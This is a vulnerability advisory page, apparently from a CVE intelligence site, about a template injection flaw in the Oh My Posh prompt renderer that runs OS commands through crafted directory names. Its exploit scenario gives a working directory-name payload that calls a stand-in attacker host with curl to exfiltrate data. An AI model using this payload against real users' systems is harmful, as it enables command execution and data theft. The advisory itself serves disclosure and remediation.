Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Local vector because attacker must place a malicious directory on the victim's filesystem; PR:N as no elevated privileges needed to create directories; UI:R because victim must navigate into the directory to trigger prompt rendering.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Oh My Posh is the most customisable and low-latency cross platform/shell prompt renderer. Prior to 29.35.1, the setStyle() function in src/segments/path.go passed pt.Path, which includes raw folder names, to template.Render, whose function map exposes cmd, so an attacker-controlled directory name containing a Go template expression could execute arbitrary operating system commands as the current user whenever the prompt rendered inside that directory or a descendant. This issue is fixed in version 29.35.1.
AnalysisAI
Template injection in Oh My Posh prior to 29.35.1 allows arbitrary operating system command execution as the victim user when the shell prompt renders inside a directory whose name contains a Go template expression. The setStyle() function in src/segments/path.go passes raw filesystem path components - including untrusted directory names - directly into template.Render, whose function map exposes a cmd helper that invokes env.RunCommand. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The victim must be running Oh My Posh as their shell prompt renderer with any configuration containing a path segment - including the built-in default configuration. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local-vector, low-complexity attack requiring user interaction (victim must navigate into the malicious directory). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a Git repository containing a directory named `{{ cmd "curl" "https://attacker.example/exfil?u=$(id)" }}`. A developer clones the repository and runs `cd` into any child of that directory as part of normal workflow. … |
| Remediation | Upgrade to Oh My Posh v29.35.1, which is the vendor-released patch resolving this issue. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all systems and users running Oh My Posh versions prior to 29.35.1, focusing on development environments and shared filesystems where untrusted repository access is possible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Oh My Posh
View allSame weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58078
GHSA-6xj8-qv9j-xcjq